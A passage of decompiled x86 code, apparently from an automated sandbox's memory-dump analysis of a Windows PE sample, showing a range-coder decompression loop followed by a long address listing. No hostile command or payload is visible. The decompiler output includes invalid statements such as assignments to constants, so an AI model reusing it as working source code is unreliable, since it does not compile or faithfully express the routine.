												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00000000
0x00406f07
0x00406f07
0x00406f0b
0x00406f34
0x00406f3e
0x00406f0d
0x00406f16
0x00406f23
0x00406f26
0x0040726a
0x0040726a
0x0040726d
0x0040726d
0x0040726d
0x00407273
0x00407279
0x0040727f
0x00407299
0x0040729c
0x004072a2
0x004072ad
0x004072af
0x00407281
0x00407281
0x00407290
0x00407294
0x00407294
0x004072b9
0x00000000
0x00000000
0x004072bb
0x004072bf
0x0040746e
0x00407484
0x0040748c
0x00407493
0x00407495
0x0040749c
0x004074a0
0x004074a0
0x004072cb
0x004072d2
0x004072da
0x004072dd
0x004072e0
0x004072e0
0x004072e6
0x004072e6
0x00406a82
0x00406a82
0x00406a82
0x00406a8b
0x00000000
0x00000000
0x00406a91
0x00000000
0x00406a9c
0x00000000
0x00000000
0x00406aa5
0x00406aa8
0x00406aab
0x00406aaf
0x00000000
0x00000000
0x00406ab5
0x00406ab8
0x00406aba
0x00406abb
0x00406abe
0x00406ac0
0x00406ac1
0x00406ac3
0x00406ac6
0x00406acb
0x00406ad0
0x00406ad9
0x00406aec
0x00406aef
0x00406afb
0x00406b23
0x00406b25
0x00406b33
0x00406b33
0x00406b37
0x00000000
0x00000000
0x00000000
0x00000000
0x00406b27
0x00406b27
0x00406b2a
0x00406b2b
0x00406b2b
0x00000000
0x00406b27
0x00406b01
0x00406b06
0x00406b06
0x00406b0f
0x00406b17
0x00406b1a
0x00000000
0x00406b20
0x00406b20
0x00000000
0x00406b20
0x00000000
0x00406b3d
0x00406b3d
0x00406b41
0x004073ed
0x00000000
0x004073ed
0x00406b4a
0x00406b5a
0x00406b5d
0x00406b60
0x00406b60
0x00406b60
0x00406b63
0x00406b67
0x00000000
0x00000000
0x00406b69
0x00406b6f
0x00406b99
0x00406b9f
0x00406ba6
0x00000000
0x00406ba6
0x00406b75
0x00406b78
0x00406b7d
0x00406b7d
0x00406b88
0x00406b90
0x00406b93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406bd8
0x00406bde
0x00406be1
0x00406bee
0x00406bf6
0x0040726a
0x00000000
0x00000000
0x00406bad
0x00406bad
0x00406bb1
0x004073fc
0x00000000
0x004073fc
0x00406bbd
0x00406bc8
0x00406bc8
0x00406bc8
0x00406bcb
0x00406bce
0x00406bd1
0x00406bd6
0x00000000
0x00000000
0x00000000
0x00000000
0x0040726d
0x0040726d
0x00407273
0x00407279
0x0040727f
0x00407299
0x0040729c
0x004072a2
0x004072ad
0x004072af
0x00407281
0x00407281
0x00407290
0x00407294
0x00407294
0x004072b9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406bfe
0x00406c00
0x00406c03
0x00406c74
0x00406c77
0x00406c7a
0x00406c81
0x00406c8b
0x0040726a
0x0040726a
0x00000000
0x0040726a
0x0040726a
0x00406c05
0x00406c09
0x00406c0c
0x00406c0e
0x00406c11
0x00406c14
0x00406c16
0x00406c19
0x00406c1b
0x00406c20
0x00406c23
0x00406c26
0x00406c2a
0x00406c31
0x00406c34
0x00406c3b
0x00406c3f
0x00406c47
0x00406c47
0x00406c47
0x00406c41
0x00406c41
0x00406c41
0x00406c36
0x00406c36
0x00406c36
0x00406c4b
0x00406c4e
0x00406c6c
0x00406c6e
0x00000000
0x00406c50
0x00406c50
0x00406c53
0x00406c56
0x00406c59
0x00406c5b
0x00406c5b
0x00406c5b
0x00406c5e
0x00406c61
0x00406c63
0x00406c64
0x00406c67
0x00000000
0x00406c67
0x00000000
0x00406e9d
0x00406ea1
0x00406ebf
0x00406ec2
0x00406ec9
0x00406ecc
0x00406ecf
0x00406ed2
0x00406ed5
0x00406ed8
0x00406eda
0x00406ee1
0x00406ee2
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406eed
0x00406ef2
0x00000000
0x00406ef2
0x00406ea3
0x00406ea6
0x00406ea9
0x00406eb3
0x0040726a
0x0040726a
0x00000000
0x0040726a
0x00000000
0x00000000
0x00000000
0x00406f4a
0x00406f4e
0x00000000
0x00000000
0x00406f54
0x00406f58
0x00000000
0x00000000
0x00406f5e
0x00406f60
0x00406f64
0x00406f64
0x00406f67
0x00406f6b
0x00000000
0x00000000
0x00406fbb
0x00406fbf
0x00406fc6
0x00406fc9
0x00406fcc
0x00406fd6
0x0040726a
0x0040726a
0x00000000
0x0040726a
0x0040726a
0x00406fc1
0x00000000
0x00000000
0x00406fe2
0x00406fe6
0x00406fed
0x00406ff0
0x00406ff3
0x00406fe8
0x00406fe8
0x00406fe8
0x00406ff6
0x00406ff9
0x00406ffc
0x00406ffc
0x00406fff
0x00407002
0x00407005
0x00407005
0x00407008
0x0040700f
0x00407014
0x00000000
0x00000000
0x004070a2
0x004070a2
0x004070a6
0x00407444
0x00000000
0x00407444
0x004070ac
0x004070af
0x004070b2
0x004070b6
0x004070b9
0x004070bf
0x004070c1
0x004070c1
0x004070c1
0x004070c4
0x004070c7
0x00000000
0x00000000
0x00406c97
0x00406c97
0x00406c9b
0x00407408
0x00000000
0x00407408
0x00406ca1
0x00406ca4
0x00406ca7
0x00406cab
0x00406cae
0x00406cb4
0x00406cb6
0x00406cb6
0x00406cb6
0x00406cb9
0x00406cbc
0x00406cbc
0x00406cbf
0x00406cc2
0x00000000
0x00000000
0x00406cc8
0x00406cce
0x00000000
0x00000000
0x00406cd4
0x00406cd4
0x00406cd8
0x00406cdb
0x00406cde
0x00406ce1
0x00406ce4
0x00406ce5
0x00406ce8
0x00406cea
0x00406cf0
0x00406cf3
0x00406cf6
0x00406cf9
0x00406cfc
0x00406cff
0x00406d02
0x00406d1e
0x00406d21
0x00406d24
0x00406d27
0x00406d2e
0x00406d32
0x00406d34
0x00406d38
0x00406d04
0x00406d04
0x00406d08
0x00406d10
0x00406d15
0x00406d17
0x00406d19
0x00406d19
0x00406d3b
0x00406d42
0x00406d45
0x00000000
0x00406d4b
0x00000000
0x00406d4b
0x00000000
0x00406d50
0x00406d50
0x00406d54
0x00407414
0x00000000
0x00407414
0x00406d5a
0x00406d5d
0x00406d60
0x00406d64
0x00406d67
0x00406d6d
0x00406d6f
0x00406d6f
0x00406d6f
0x00406d72
0x00406d75
0x00406d75
0x00406d75
0x00406d7b
0x00000000
0x00000000
0x00406d7d
0x00406d80
0x00406d83
0x00406d86
0x00406d89
0x00406d8c
0x00406d8f
0x00406d92
0x00406d95
0x00406d98
0x00406d9b
0x00406db3
0x00406db6
0x00406db9
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc3
0x00406dc5
0x00406d9d
0x00406d9d
0x00406da5
0x00406daa
0x00406dac
0x00406dae
0x00406dae
0x00406dc8
0x00406dcf
0x00406dd2
0x00000000
0x00406dd4
0x00000000
0x00406dd4
0x00406dd2
0x00406dd9
0x00406dd9
0x00406dd9
0x00406dd9
0x00000000
0x00000000
0x00406e14
0x00406e14
0x00406e18
0x00407420
0x00000000
0x00407420
0x00406e1e
0x00406e21
0x00406e24
0x00406e28
0x00406e2b
0x00406e31
0x00406e33
0x00406e33
0x00406e33
0x00406e36
0x00406e39
0x00406e39
0x00406e3f
0x00406ddd
0x00406ddd
0x00406de0
0x00000000
0x00406de0
0x00406e41
0x00406e41
0x00406e44
0x00406e47
0x00406e4a
0x00406e4d
0x00406e50
0x00406e53
0x00406e56
0x00406e59
0x00406e5c
0x00406e5f
0x00406e77
0x00406e7a
0x00406e7d
0x00406e80
0x00406e80
0x00406e83
0x00406e87
0x00406e89
0x00406e61
0x00406e61
0x00406e69
0x00406e6e
0x00406e70
0x00406e72
0x00406e72
0x00406e8c
0x00406e93
0x00406e96
0x00000000
0x00406e98
0x00000000
0x00406e98
0x00000000
0x00407125
0x00407125
0x00407129
0x00407450
0x00000000
0x00407450
0x0040712f
0x00407132
0x00407135
0x00407139
0x0040713c
0x00407142
0x00407144
0x00407144
0x00407144
0x00407147
0x00000000
0x00000000
0x00406ef5
0x00406ef5
0x00406ef8
0x0040726a
0x0040726a
0x00000000
0x0040726a
0x00000000
0x00407234
0x00407238
0x0040725a
0x0040725d
0x00407267
0x0040726a
0x0040726a
0x00000000
0x0040726a
0x0040726a
0x0040723a
0x0040723d
0x00407241
0x00407244
0x00407244
0x00407247
0x00000000
0x00000000
0x004072f1
0x004072f5
0x00407313
0x00407313
0x00407313
0x0040731a
0x00407321
0x00407328
0x00407328
0x00000000
0x00407328
0x004072f7
0x004072fa
0x004072fd
0x00407300
0x00407307
0x0040724b
0x0040724b
0x0040724e
0x00000000
0x00000000
0x004073e2
0x004073e5
0x004072e6
0x00000000
0x00000000
0x0040701c
0x0040701e
0x00407025
0x00407026
0x00407028
0x0040702b
0x00000000
0x00000000
0x00407033
0x00407036
0x00407039
0x0040703b
0x0040703d
0x0040703d
0x0040703e
0x00407041
0x00407048
0x0040704b
0x00407059
0x00000000
0x00000000
0x0040732f
0x0040732f
0x00407332
0x00407339
0x00000000
0x00000000
0x0040733e
0x0040733e
0x00407342
0x0040747a
0x00000000
0x0040747a
0x00407348
0x0040734b
0x0040734e
0x00407352
0x00407355
0x0040735b
0x0040735d
0x0040735d
0x0040735d
0x00407360
0x00407363
0x00407363
0x00407363
0x00407363
0x00407366
0x00407366
0x0040736a
0x004073ca
0x004073cd
0x004073d2
0x004073d3
0x004073d5
0x004073d7
0x004073da
0x004072e6
0x004072e6
0x00000000
0x004072ec
0x004072e6
0x0040736c
0x00407372
0x00407375
0x00407378
0x0040737b
0x0040737e
0x00407381
0x00407384
0x00407387
0x0040738a
0x0040738d
0x004073a6
0x004073a9
0x004073ac
0x004073af
0x004073b3
0x004073b5
0x004073b5
0x004073b6
0x004073b9
0x0040738f
0x0040738f
0x00407397
0x0040739c
0x0040739e
0x004073a1
0x004073a1
0x004073bc
0x004073c3
0x00000000
0x004073c5
0x00000000
0x004073c5
0x00000000
0x00407061
0x00407064
0x0040709a
0x004071ca
0x004071ca
0x004071ca
0x004071ca
0x004071cd
0x004071cd
0x004071d0
0x004071d2
0x0040745c
0x00000000
0x0040745c
0x004071d8
0x004071db
0x00000000
0x00000000
0x004071e1
0x004071e5
0x004071e8
0x004071e8
0x004071e8
0x00000000
0x004071e8
0x00407066
0x00407068
0x0040706a
0x0040706c
0x0040706f
0x00407070
0x00407072
0x00407074
0x00407077
0x0040707a
0x00407090
0x00407095
0x004070cd
0x004070cd
0x004070d1
0x004070fd
0x004070ff
0x00407106
0x00407109
0x0040710c
0x0040710c
0x00407111
0x00407111
0x00407113
0x00407116
0x0040711d
0x00407120
0x0040714d
0x0040714d
0x00407150
0x00407153
0x004071c7
0x004071c7
0x004071c7
0x00000000
0x004071c7
0x00407155
0x0040715b
0x0040715e
0x00407161
0x00407164
0x00407167
0x0040716a
0x0040716d
0x00407170
0x00407173
0x00407176
0x0040718f
0x00407191
0x00407194
0x00407195
0x00407198
0x0040719a
0x0040719d
0x0040719f
0x004071a1
0x004071a4
0x004071a6
0x004071a9
0x004071ad
0x004071af
0x004071af
0x004071b0
0x004071b3
0x004071b6
0x00407178
0x00407178
0x00407180
0x00407185
0x00407187
0x0040718a
0x0040718a
0x004071b9
0x004071c0
0x0040714a
0x0040714a
0x0040714a
0x0040714a
0x00000000
0x004071c2
0x00000000
0x004071c2
0x004071c0
0x004070d3
0x004070d6
0x004070d8
0x004070db
0x004070de
0x004070e1
0x004070e3
0x004070e6
0x004070e9
0x004070e9
0x004070ec
0x004070ec
0x004070ef
0x004070f6
0x004070ca
0x004070ca
0x004070ca
0x004070ca
0x00000000
0x004070f8
0x00000000
0x004070f8
0x004070f6
0x0040707c
0x0040707f
0x00407081
0x00407084
0x00000000
0x00000000
0x00406de3
0x00406de3
0x00406de7
0x0040742c
0x00000000
0x0040742c
0x00406ded
0x00406df0
0x00406df3
0x00406df6
0x00406df9
0x00406dfc
0x00406dff
0x00406e01
0x00406e04
0x00406e07
0x00406e0a
0x00406e0c
0x00406e0c
0x00406e0c
0x00000000
0x00000000
0x00406f6e
0x00406f6e
0x00406f72
0x00407438
0x00000000
0x00407438
0x00406f78
0x00406f7b
0x00406f7e
0x00406f81
0x00406f83
0x00406f83
0x00406f83
0x00406f86
0x00406f89
0x00406f8c
0x00406f8f
0x00406f92
0x00406f95
0x00406f96
0x00406f98
0x00406f98
0x00406f98
0x00406f9b
0x00406f9e
0x00406fa1
0x00406fa4
0x00406fa4
0x00406fa4
0x00406fa7
0x00406fa9
0x00406fa9
0x00000000
0x00000000
0x004071eb
0x004071eb
0x004071eb
0x004071ef
0x00000000
0x00000000
0x004071f5
0x004071f8
0x004071fb
0x004071fe
0x00407200
0x00407200
0x00407200
0x00407203
0x00407206
0x00407209
0x0040720c
0x0040720f
0x00407212
0x00407213
0x00407215
0x00407215
0x00407215
0x00407218
0x0040721b
0x0040721e
0x00407221
0x00407224
0x00407228
0x0040722a
0x0040722d
0x00000000
0x0040722f
0x00406fac
0x00406fac
0x00000000
0x00406fac
0x0040722d
0x00407462
0x00000000
0x00000000
0x00406a91
0x00407499
0x00407499
0x00000000
0x00407499
0x004072e6
0x0040726d
0x0040726a

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
